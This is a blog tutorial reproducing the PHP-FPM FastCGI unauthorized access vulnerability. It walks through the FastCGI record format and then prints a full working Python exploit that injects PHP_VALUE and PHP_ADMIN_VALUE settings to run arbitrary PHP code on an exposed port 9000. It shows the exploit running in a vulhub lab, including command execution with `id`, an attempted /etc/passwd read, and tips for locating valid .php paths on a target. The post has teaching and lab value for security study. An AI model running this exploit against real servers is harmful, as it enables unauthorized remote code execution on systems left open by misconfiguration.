fastcgi unauthorized access vulnerability (php-fpm fast-cgi unauthorized access vulnerability)


This article refers to "Fastcgi Protocol Analysis && PHP-FPM Unauthorized Access Vulnerability && Exp Writing" to reproduce and analyze the vulnerability.

1. Pre-basis

1.1 fastcgi in nginx

Let's first look at a picture I used before, which is the process of nginx parsing user requests.

insert image description here
Several definitions in the figure:

  • CGI: CGI is a protocol that defines the data format passed by Nginx or other Web Servers. The full name is (Common Gateway Interface, CGI). CGI is an independent program that can be written in any language other than WebServer. CGI programs, such as C, Perl, Python, etc.
  • FastCGI: FastCGI is a protocol. Its predecessor is CGI, which can be simply understood as an optimized version of CGI, which has more stability and performance.
  • PHP-CGI: It is just a PHP interpreter, which can only parse requests and return results, and will not do process management.
  • PHP-FPM: The full name is FastCGI Process Manager. You can know by looking at the name. PHP-FPM is the manager of the FastCGI process, but as mentioned earlier, FastCGI is a protocol and not a program, so it manages PHP-CGI, forming a PHP-like -The concept of CGI process pool.
  • Wrapper: The letter means wrapping, who is wrapping it? The package is FastCGI. Through the FastCGI interface, after Wrapper receives the request, it will generate a new thread to call the PHP interpreter to process the data.

That is, fastcgi as a communication protocol. Provides a bridge between nginx program and php-fpm communication. As a specification, it is guaranteed that the PHP request received by the server can be completely and quickly passed to the php-fpm magic module for processing.

1.2 fastcgi protocol analysis

1.2.1 Fastcgi Record

Fastcgi is actually a communication protocol. Like the HTTP protocol, it is a channel for data exchange.

The HTTP protocol is a protocol for data exchange between the browser and the server middleware. The browser assembles the HTTP header and the HTTP body into a data packet according to a certain rule, and sends it to the server middleware in the form of TCP. The server middleware converts the data packet according to the rules Decode, and obtain the data required by the user according to the requirements, and then package it and return it to the server according to the rules of the HTTP protocol.

Analogous to the HTTP protocol, the fastcgi protocol is a protocol for data exchange between server middleware and a language backend. The Fastcgi protocol consists of multiple records. The record also has a header and a body. The server middleware encapsulates the two according to the rules of fastcgi and sends them to the language backend. After decoding, the language backend gets specific data, performs specified operations, and The result is encapsulated according to the protocol and returned to the server middleware.

Unlike the HTTP header, the header of the record is fixed at 8 bytes, and the body is specified by the contentLength in the header. Its structure is as follows:

#这是c语言中定义的结构体
typedef struct {
    
    
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的类型
  unsigned char requestIdB1; // 本次record对应的请求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body体的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 额外块大小
  unsigned char reserved; 

  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;

The header consists of 8 variables of type uchar, 1 byte each. Among them, requestIdit occupies two bytes, a unique flag id to avoid the impact between multiple requests; contentLengthit occupies two bytes, indicating the size of the body.

After the language processing module parses the fastcgi header, gets it contentLength, and then reads data equal to or equal to the size in the TCP stream contentLength, which is the body.

There is an additional piece of data (Padding) after the Body, whose length is specified by the paddingLength in the header, which is reserved. When the Padding is not needed, set its length to 0.

It can be seen that the maximum body size supported by a fastcgi record structure is 2^16(two bytes 16bit), which is 65536 bytes.

1.2.2 Fastcgi Type

typeIt is to specify the type of action of the record. Because the size of a record in fastcgi is limited and its function is single, it needs to be classified and expressed. So we need to transmit multiple records in one TCP stream. By typemarking the role of each record, it is used requestIdas the id of the same request.

That is to say, for each request, there will be multiple records, and they requestIdare the same.

type value Concrete meaning
1 The type value in the first message sent after establishing a connection with php-fpm must be 1, which is used to indicate that this message is the first message at the beginning of the request
2 Abnormally disconnected from the interaction with php-fpm
3 In the last message sent in the interaction with php-fpm, the type value is this, to indicate the normal end of the interaction
4 When passing environment parameters to php-fpm during interaction, set type to this to indicate that the data contained in the message is a name-value pair
5 The web server sends the POST request data (form submission, etc.) received from the browser to php-fpm in the form of a message, and the type of this message must be set to 5
6 The type of the normal response message returned by php-fpm to the web server is set to 6
7 The error response returned by php-fpm to the web server is set to 7

After reading this form, it is very clear that the server middleware communicates with the back-end language. The first data packet is a typerecord of 1. Afterwards, it communicates with each other and sends typerecords of 4, 5, 6, and 7. At the end, it sends a record typeof 2. , 3 records.

After the backend language receives a typerecord of 4, it will parse the body of the record into a key-value pair according to the corresponding structure, which is the environment variable. The structure of the environment variable is as follows:

typedef struct {
    
    
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair11;

typedef struct {
    
    
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair14;

typedef struct {
    
    
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair41;

typedef struct {
    
    
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair44;

These are actually 4 structures. As for which structure to use, there are the following rules:

  1. Both key and value are less than 128 bytes, useFCGI_NameValuePair11
  2. key is greater than 128 bytes, value is less than 128 bytes, useFCGI_NameValuePair41
  3. key is less than 128 bytes, value is greater than 128 bytes, useFCGI_NameValuePair14
  4. Both key and value are larger than 128 bytes, useFCGI_NameValuePair44

Type 4 records play a very important role in communication with php-fpm, which is why we focus on analysis.

1.2.3 PHP-FPM (FastCGI Process Manager)

php-fpm is a module program that receives and processes fast-cgi. It can not only efficiently receive fast-cgi information, but also hand it over to its own php-cgi process for processing php requests.

FPM parses the TCP stream into real data according to the fastcgi protocol.

For example, if a user visits http://127.0.0.1/index.php?a=1&b=2, if the web directory is /var/www/html, Nginx will change the request into the following key-value pair:

{
    
    
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

This array is actually part of the array in PHP $_SERVER, which is the environment variable in PHP. But the function of the environment variable is not only to fill $_SERVERthe array, but also to tell fpm: "Which PHP file should I execute". For example, script filenamethe one in /var/www/html/index.phpis to tell php-cgi where the file location should be parsed.

1.2.4 security.limit_extensionsConfiguration

SCRIPT_FILENAMEThis configuration is used to specify which suffixes can be parsed in the matched php-fpm parsing process . If it is set to empty, it means to parse all suffixed php files. It is a security setting of php-fpm. If it is not set properly, it may cause a serious illegal php file parsing vulnerability, that is, a file upload vulnerability. Cause the website to be linked to the horse. You can go to "Summary of Common Vulnerabilities in nginx Middleware" to see the specific types of vulnerabilities caused .

Attached here are the configuration suggestions given in the official documentation.

[root@blackstone php-fpm]# vim /etc/php-fpm.d/www.conf

; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
#这一句是重点,在设置解析时,为空则表示允许所有的后缀解析
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5

2. Vulnerability causes

When it comes to the cause of the vulnerability, it is still very clear. Since it is an unauthorized access, 0.0.0.0:9000
such a configuration must be indispensable. It is because the administrator mistakenly configured the 9000 port access restriction of php-fpm to allow all IP access during configuration. This has caused unauthorized people to also access this port. It provides an entry point for some attackers with ulterior motives.

Here, the exploit script is given first, and the original link is no longer accessible. Paste it directly below, it has been adapted to py2 and py3. Original link: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={
    
    }, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
    
    
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

3. Exploitation example

Test environment: an environment about nginx parsing vulnerabilities in vulhub

[root@blackstone fpm]# pwd
/root/vulhub-master/php/fpm
[root@blackstone fpm]# docker-compose up -d
#报错的话可以关闭本机的fpm服务
[root@blackstone fpm]# systemctl stop php-fpm
[root@blackstone fpm]# netstat -anop | grep 9000

3.1 Attack Demonstration

Using the exploit given above, some php statements can be sent to port 9000 of the target host, triggering arbitrary code execution vulnerabilities. like this:

#这里的路径参数一定要是目标网站上的一个真实存在的php代码,否则会出现404的返回结果

[root@blackstone fpm]# python2 fpm.py 127.0.0.1 /usr/local/lib/php/PEAR.php -c '<?php echo `id`;?>'
X-Powered-By: PHP/8.1.1
Content-type: text/html; charset=UTF-8

uid=33(www-data) gid=33(www-data) groups=33(www-data)

#参数为不存在的php文件时
[root@blackstone fpm]# python2 fpm.py 127.0.0.1 /usr/local/lib/php/PEAR0012.php -c '<?php echo `id`;?>'
Primary script unknownStatus: 404 Not Found
X-Powered-By: PHP/8.1.1
Content-type: text/html; charset=UTF-8

File not found.

tips: How to get the real php file path.

#1.直接去真实的web页面路径里面添加错误路径,寻求报错回显出我们要的真实路径。

#2.根据目标的操作系统,寻找应该有的安装php依赖时残留下来的php文件。
root@892d77a19d74:~# find / -name *.php
find: '/proc/1/map_files': Operation not permitted
find: '/proc/6/map_files': Operation not permitted
find: '/proc/7/map_files': Operation not permitted
find: '/proc/8/map_files': Operation not permitted
find: '/proc/435/map_files': Operation not permitted
/usr/local/lib/php/Archive/Tar.php
/usr/local/lib/php/Console/Getopt.php
/usr/local/lib/php/OS/Guess.php
/usr/local/lib/php/PEAR/Builder.php
/usr/local/lib/php/PEAR/ChannelFile/Parser.php
/usr/local/lib/php/PEAR/ChannelFile.php
/usr/local/lib/php/PEAR/Command/Auth.php
/usr/local/lib/php/PEAR/Command/Build.php
/usr/local/lib/php/PEAR/Command/Channels.php
/usr/local/lib/php/PEAR/Command/Common.php
/usr/local/lib/php/PEAR/Command/Config.php
/usr/local/lib/php/PEAR/Command/Install.php
/usr/local/lib/php/PEAR/Command/Mirror.php
/usr/local/lib/php/PEAR/Command/Package.php
/usr/local/lib/php/PEAR/Command/Pickle.php
/usr/local/lib/php/PEAR/Command/Registry.php
/usr/local/lib/php/PEAR/Command/Remote.php
/usr/local/lib/php/PEAR/Command/Test.php
/usr/local/lib/php/PEAR/Command.php
/usr/local/lib/php/PEAR/Common.php

3.2 Restriction of security.limit_extensions - the parameter must be a real file with the .php suffix

Next, we have to seriously think about how to realize the use of this vulnerability.

The idea provided by Mr. Zhou is to finally realize the effect of arbitrary command execution. First, we can use the fastcgi protocol to send information to the corresponding open port. This is definitely not running. But looking back, what kind of information can be sent to be effective, or can we send a scriptnamefile pointing to a certain file and let php return it.

In fact, this can be achieved in the old version of php-fpm. We use fastcgi to request an existing file, and the file will be parsed as php and returned. For example, use the exp given above to view the information of the /etc/passwd file. Now there will be a permission denied error.

[root@blackstone fpm]# python2 fpm.py 127.0.0.1 /etc/passwd
Access to the script '/etc/passwd' has been denied (see security.limit_extensions)Status: 403 Forbidden
X-Powered-By: PHP/8.1.1
Content-type: text/html; charset=UTF-8

Access denied.

In fact, this problem is related to the configuration item we mentioned above security.limit_extensions. This configuration sets the type of file suffix that is allowed to be parsed in the scriptname received by php-fpm. When it is empty, all parsing is allowed, and we will test again after configuration:

#1.修改一套配置了security.limit的文件,到放到虚拟主机内部,尝试测试
[root@blackstone fpm]# cp /etc/php-fpm.d/www.conf .
[root@blackstone fpm]# vim www.conf

insert image description here
insert image description here

#2.文件复制到目标目录内部
[root@blackstone fpm]# docker ps -a
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES
892d77a19d74        php:fpm             "docker-php-entrypoi…"   26 minutes ago      Up 26 minutes       0.0.0.0:9000->9000/tcp   fpm_php_1
[root@blackstone fpm]# docker cp www.conf 892d77a19d74:/

root@892d77a19d74:/var/www/html# find / -name www.conf
find: '/proc/1/map_files': Operation not permitted
find: '/proc/6/map_files': Operation not permitted
find: '/proc/7/map_files': Operation not permitted
find: '/proc/8/map_files': Operation not permitted
find: '/proc/13/map_files': Operation not permitted
/usr/local/etc/php-fpm.d/www.conf
/www.conf
root@892d77a19d74:/var/www/html# cd /usr/local/etc/php-fpm.d/
root@892d77a19d74:/usr/local/etc/php-fpm.d# mv www.conf www
root@892d77a19d74:/usr/local/etc/php-fpm.d# mv /www.conf .
#3.尝试再次运行攻击脚本

[root@blackstone fpm]# python2 fpm.py 127.0.0.1 /etc/passwd
Access to the script '/etc/passwd' has been denied (see security.limit_extensions)Status: 403 Forbidden
X-Powered-By: PHP/8.1.1
Content-type: text/html; charset=UTF-8

Access denied.

It still doesn't work here, we are not allowed to access /etc/passwd here, and it still doesn't work after we try to downgrade. It can be seen that, in any case, it is impossible to parse files with non-.php suffixes, even with the blessing of exp. What's more, in most cases, only the parsing of .php suffix files is enabled.

3.3 How to make our php statement executed?

If we can only let php-fpm parse some existing .phpfiles on the system through fastcgi, it will be meaningless. Because the file is already on the server, even if there is a weak file upload point, let us upload the php file with the .php suffix. Then the application area may not be too narrow.

But PHP is a powerful language, there are two interesting configuration items in PHP.INI, auto_prepend_fileand auto_append_file.

auto_prepend_fileauto_prepend_fileIt tells PHP to include the file specified in before executing the target file ; it tells PHP to include the pointed file auto_append_fileafter the target file is executed .auto_append_file

In other words, through the setting of these two parameters, a file can be included before parsing the php file, if the conditions are suitable (the server allows remote inclusion of files). Pseudo-protocols can be used php://inoutto parse the php code entering the post request body.

set auto_prepend_fileto php://input.

But we can't directly modify the pnp.ini of the server, it must be without permission. Another problem. Don't panic, the author also put forward some knowledge about php-fpm.

Two environment variables of PHP-FPM, PHP_VALUEand PHP_ADMIN_VALUE. These two environment variables are used to set PHP configuration items. PHP_VALUEYou can set the mode as PHP_INI_USERand PHP_INI_ALLoptions, and PHP_ADMIN_VALUEyou can set all options. ( disable_functionsExcept, this option is determined when PHP is loaded, and the functions in the scope will not be loaded into the PHP context directly) That is to say, by setting the environment variables of FPM, it is possible to enable remote file inclusion and setting auto_prepend_filefor php://inputthe effect.

The fast-cgi parameters sent by exp are as follows:

{
    
    
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

At this point, the php code in our post request body is executed smoothly. Perfect implementation of arbitrary code execution vulnerabilities. I have to admire the author's ideas and profound basic knowledge of PHP.

4. Repair suggestion

Be careful when configuring, especially for security.limit_extensionthe configuration of the listening port and the php-fpm module. Be sure to follow the principle of least openness.

5. Summary

The fastcgi unauthorized access vulnerability is a configuration type vulnerability caused by wrong listening port configuration. In the deployment of the intranet, there are often people who artificially monitor 0.0.0.0:9000, which is simple and fast. As everyone knows, this will also become a vulnerable part of the server.

For this vulnerability, our focus should be on the attack idea, to understand how the author uses some knowledge of php and related knowledge of fast-cgi. Write the corresponding exploit to realize the attack. The most important thing to parse as arbitrary code is to let the server parse the code we write. The author makes use of the php.ini configuration file auto_prepend_fileto .phpinclude files in external files before parsing. Reuse fast-cgi PHP_VALUEand PHP_ADMIN_VALUEset the allow file to include. Finally, the operation of injecting any executable PHP code in the post request body is realized.

Guess you like

Origin blog.csdn.net/qq_55316925/article/details/128974535